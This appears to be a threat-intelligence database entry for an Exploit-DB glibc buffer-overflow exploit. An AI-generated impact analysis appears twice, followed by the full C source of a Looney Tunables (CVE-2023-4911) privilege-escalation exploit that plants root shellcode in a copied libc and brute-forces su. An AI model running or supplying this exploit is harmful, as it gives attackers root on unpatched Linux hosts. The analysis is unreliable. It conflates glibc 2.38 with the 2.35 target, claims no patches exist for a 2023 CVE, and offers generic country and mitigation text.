glibc 2.38 - Buffer Overflow
A buffer overflow vulnerability has been identified in glibc version 2. 38. This local exploit allows an attacker with access to the affected system to potentially execute arbitrary code or cause a denial of service. The exploit code is publicly available and written in C, enabling attackers to craft inputs that overflow buffers within glibc functions. Although no known exploits are currently observed in the wild, the presence of exploit code increases the risk of future attacks. The vulnerability affects systems using glibc 2. 38, a widely deployed GNU C Library version on Linux distributions. European organizations relying on Linux servers and applications linked against this glibc version are at risk. Mitigation requires applying patches once available or employing temporary workarounds such as restricting local user access and monitoring for suspicious activity. Countries with significant Linux infrastructure and critical industries, such as Germany, France, and the Netherlands, are more likely to be impacted.
AI Analysis
Technical Summary
The reported security threat is a buffer overflow vulnerability in the GNU C Library (glibc) version 2.38. Glibc is a core component of Linux-based operating systems, providing essential system APIs and runtime support for applications. A buffer overflow occurs when a program writes more data to a buffer than it can hold, potentially overwriting adjacent memory and leading to arbitrary code execution or system crashes. This vulnerability is classified as a local exploit, meaning an attacker must have local access to the system to trigger the overflow. The exploit code, written in C, has been published on Exploit-DB (ID 52479), allowing attackers to study and potentially weaponize the vulnerability. Although no active exploitation in the wild has been reported, the availability of exploit code increases the risk of future attacks. The lack of a CVSS score necessitates an independent severity assessment. The vulnerability impacts confidentiality, integrity, and availability by enabling privilege escalation or denial of service. Exploitation requires local access but no user interaction beyond that. The scope is limited to systems running glibc 2.38, which is widely used in many Linux distributions, making the affected population significant. No official patches or mitigation links are currently provided, emphasizing the need for vigilance and proactive defense measures.
Potential Impact
For European organizations, the buffer overflow in glibc 2.38 poses a moderate risk with potentially serious consequences. Successful exploitation could allow attackers to escalate privileges, execute arbitrary code, or cause denial of service on critical Linux servers. This can lead to data breaches, service outages, and disruption of business operations. Industries relying heavily on Linux infrastructure, such as finance, telecommunications, manufacturing, and government, are particularly vulnerable. The local nature of the exploit limits remote attack vectors but increases the importance of internal security controls and user access management. The widespread use of glibc in European data centers and cloud environments means that many organizations could be affected if they have not updated or mitigated this vulnerability. Additionally, the presence of exploit code lowers the barrier for attackers to develop targeted attacks, increasing the urgency for mitigation.
Mitigation Recommendations
1. Monitor official glibc repositories and Linux distribution security advisories for patches addressing this vulnerability and apply them promptly once available. 2. Restrict local user access to trusted personnel only, minimizing the risk of exploitation by unauthorized users. 3. Employ mandatory access controls (e.g., SELinux, AppArmor) to limit the capabilities of processes and users, reducing the impact of potential exploitation. 4. Conduct regular system audits and monitor logs for unusual activity indicative of exploit attempts. 5. Use containerization or sandboxing to isolate critical applications and limit the blast radius of any compromise. 6. Educate system administrators and users about the risks of local exploits and enforce strong authentication and privilege separation policies. 7. Consider temporarily disabling or restricting vulnerable services or applications that rely on glibc 2.38 until patches are applied. 8. Implement intrusion detection systems capable of detecting buffer overflow exploit patterns.
Affected Countries
Germany, France, Netherlands, United Kingdom, Italy, Spain, Sweden
Indicators of Compromise
- exploit-code: # Exploit Title: glibc 2.38 - Buffer Overflow # Google Dork: N/A # Date: 2025-10-08 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.gnu.org/software/libc/ # Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz # Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS) # Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3) # CVE : CVE-2023-4911 # Description: Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow # This is a local privilege escalation exploit for CVE-2023-4911, also known as # "Looney Tunables", caused by a buffer overflow in the glibc dynamic loader's # environment variable parsing logic. The vulnerability is triggered by crafting # a maliciously long GLIBC_TUNABLES string which corrupts internal loader state, # allowing control over DT_RPATH and arbitrary shared object loading. # # This PoC creates a patched version of libc.so.6 with embedded shellcode and # abuses the loader to execute arbitrary code as root by invoking /usr/bin/su # with a malicious environment. # #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <time.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/wait.h> #include <elf.h> #define FILL_SIZE 0xd00 #define BOF_SIZE 0x600 #define MAX_ENVP 0x1000 // shellcode generado con pwntools const unsigned char shellcode[] = { 0x48, 0x31, 0xff, // xor rdi,rdi 0x6a, 0x69, // push 0x69 ; syscall setuid 0x58, // pop rax 0x0f, 0x05, // syscall 0x48, 0x31, 0xff, // xor rdi,rdi 0x6a, 0x6a, // push 0x6a ; syscall setgid 0x58, // pop rax 0x0f, 0x05, // syscall 0x48, 0x31, 0xd2, // xor rdx, rdx 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, // mov rbx, "/bin/sh" 0x53, // push rbx 0x48, 0x89, 0xe7, // mov rdi, rsp 0x50, // push rax 0x57, // push rdi 0x48, 0x89, 0xe6, // mov rsi, rsp 0xb0, 0x3b, // mov al, 0x3b 0x0f, 0x05 // syscall }; int64_t time_us() { struct timespec tms; if (clock_gettime(CLOCK_REALTIME, &tms)) return -1; int64_t micros = tms.tv_sec * 1000000; micros += tms.tv_nsec / 1000; if (tms.tv_nsec % 1000 >= 500) ++micros; return micros; } void patch_libc() { FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6", "rb"); if (!f) { perror("fopen"); exit(1); } fseek(f, 0, SEEK_END); long size = ftell(f); rewind(f); unsigned char *data = malloc(size); if (fread(data, 1, size, f) != size) { perror("fread"); exit(1); } fclose(f); Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data; Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff); Elf64_Sym *symtab = NULL; char *strtab = NULL; for (int i = 0; i < ehdr->e_shnum; ++i) { if (shdr[i].sh_type == SHT_SYMTAB) { symtab = (Elf64_Sym *)(data + shdr[i].sh_offset); strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset); break; } } if (!symtab || !strtab) { fprintf(stderr, "[-] Failed to find symtab\n"); exit(1); } Elf64_Addr target_addr = 0; for (int i = 0; i < shdr->sh_size / sizeof(Elf64_Sym); ++i) { if (strcmp(&strtab[symtab[i].st_name], "__libc_start_main") == 0) { target_addr = symtab[i].st_value; break; } } if (!target_addr) { fprintf(stderr, "[-] Could not find __libc_start_main\n"); exit(1); } // patch shellcode at the symbol location memcpy(data + target_addr, shellcode, sizeof(shellcode)); f = fopen("./libc.so.6", "wb"); if (!f) { perror("fopen (write)"); exit(1); } fwrite(data, 1, size, f); fclose(f); free(data); printf("[+] Patched libc.so.6 written.\n"); } int main(void) { char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000]; char *argv[] = {"/usr/bin/su", "--help", NULL}; char *envp[MAX_ENVP] = { NULL }; // Create directory and patched libc if not present if (mkdir("\"", 0755) == 0) { patch_libc(); int sfd = open("./libc.so.6", O_RDONLY); int dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755); char buf[0x1000]; int len; while ((len = read(sfd, buf, sizeof(buf))) > 0) { write(dfd, buf, len); } close(sfd); close(dfd); } memset(filler, 'F', sizeof(filler)); filler[sizeof(filler)-1] = '\0'; strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast="); memset(kv, 'A', sizeof(kv)); kv[sizeof(kv)-1] = '\0'; strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); memset(filler2, 'F', sizeof(filler2)); filler2[sizeof(filler2)-1] = '\0'; strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast="); for (int i = 0; i < MAX_ENVP; i++) envp[i] = ""; envp[0] = filler; envp[1] = kv; envp[0x65] = ""; envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f"; envp[0xf7f] = filler2; for (int i = 0; i < sizeof(dt_rpath); i += 8) { *(uintptr_t *)(dt_rpath + i) = -0x14ULL; } dt_rpath[sizeof(dt_rpath) - 1] = '\0'; for (int i = 0; i < 0x2f; i++) { envp[0xf80 + i] = dt_rpath; } envp[0xffe] = "AAAA"; setrlimit(RLIMIT_STACK, &(struct rlimit){RLIM_INFINITY, RLIM_INFINITY}); int pid; for (int ct = 1;; ct++) { if (ct % 100 == 0) printf("try %d\n", ct); if ((pid = fork()) < 0) { perror("fork"); break; } else if (pid == 0) { execve(argv[0], argv, envp); perror("execve (child)"); exit(1); } else { int wstatus; int64_t st = time_us(), en; wait(&wstatus); en = time_us(); if (!WIFSIGNALED(wstatus) && en - st > 1000000) { printf("[+] Exploit likely succeeded!\n"); break; } } } return 0; }
glibc 2.38 - Buffer Overflow
Description
A buffer overflow vulnerability has been identified in glibc version 2. 38. This local exploit allows an attacker with access to the affected system to potentially execute arbitrary code or cause a denial of service. The exploit code is publicly available and written in C, enabling attackers to craft inputs that overflow buffers within glibc functions. Although no known exploits are currently observed in the wild, the presence of exploit code increases the risk of future attacks. The vulnerability affects systems using glibc 2. 38, a widely deployed GNU C Library version on Linux distributions. European organizations relying on Linux servers and applications linked against this glibc version are at risk. Mitigation requires applying patches once available or employing temporary workarounds such as restricting local user access and monitoring for suspicious activity. Countries with significant Linux infrastructure and critical industries, such as Germany, France, and the Netherlands, are more likely to be impacted.
AI-Powered Analysis
Technical Analysis
The reported security threat is a buffer overflow vulnerability in the GNU C Library (glibc) version 2.38. Glibc is a core component of Linux-based operating systems, providing essential system APIs and runtime support for applications. A buffer overflow occurs when a program writes more data to a buffer than it can hold, potentially overwriting adjacent memory and leading to arbitrary code execution or system crashes. This vulnerability is classified as a local exploit, meaning an attacker must have local access to the system to trigger the overflow. The exploit code, written in C, has been published on Exploit-DB (ID 52479), allowing attackers to study and potentially weaponize the vulnerability. Although no active exploitation in the wild has been reported, the availability of exploit code increases the risk of future attacks. The lack of a CVSS score necessitates an independent severity assessment. The vulnerability impacts confidentiality, integrity, and availability by enabling privilege escalation or denial of service. Exploitation requires local access but no user interaction beyond that. The scope is limited to systems running glibc 2.38, which is widely used in many Linux distributions, making the affected population significant. No official patches or mitigation links are currently provided, emphasizing the need for vigilance and proactive defense measures.
Potential Impact
For European organizations, the buffer overflow in glibc 2.38 poses a moderate risk with potentially serious consequences. Successful exploitation could allow attackers to escalate privileges, execute arbitrary code, or cause denial of service on critical Linux servers. This can lead to data breaches, service outages, and disruption of business operations. Industries relying heavily on Linux infrastructure, such as finance, telecommunications, manufacturing, and government, are particularly vulnerable. The local nature of the exploit limits remote attack vectors but increases the importance of internal security controls and user access management. The widespread use of glibc in European data centers and cloud environments means that many organizations could be affected if they have not updated or mitigated this vulnerability. Additionally, the presence of exploit code lowers the barrier for attackers to develop targeted attacks, increasing the urgency for mitigation.
Mitigation Recommendations
1. Monitor official glibc repositories and Linux distribution security advisories for patches addressing this vulnerability and apply them promptly once available. 2. Restrict local user access to trusted personnel only, minimizing the risk of exploitation by unauthorized users. 3. Employ mandatory access controls (e.g., SELinux, AppArmor) to limit the capabilities of processes and users, reducing the impact of potential exploitation. 4. Conduct regular system audits and monitor logs for unusual activity indicative of exploit attempts. 5. Use containerization or sandboxing to isolate critical applications and limit the blast radius of any compromise. 6. Educate system administrators and users about the risks of local exploits and enforce strong authentication and privilege separation policies. 7. Consider temporarily disabling or restricting vulnerable services or applications that rely on glibc 2.38 until patches are applied. 8. Implement intrusion detection systems capable of detecting buffer overflow exploit patterns.
Affected Countries
Technical Details
- Edb Id
- 52479
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for glibc 2.38 - Buffer Overflow
# Exploit Title: glibc 2.38 - Buffer Overflow # Google Dork: N/A # Date: 2025-10-08 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.gnu.org/software/libc/ # Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz # Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS) # Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3) # CVE : CVE-2023-4911 # Description: Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow # This is... (6067 more characters)
Threat ID: 698c72394b57a58fa193b5d1
Added to database: 2/11/2026, 12:12:41 PM
Last enriched: 2/11/2026, 12:13:28 PM
Last updated: 2/11/2026, 6:46:18 PM
Views: 7
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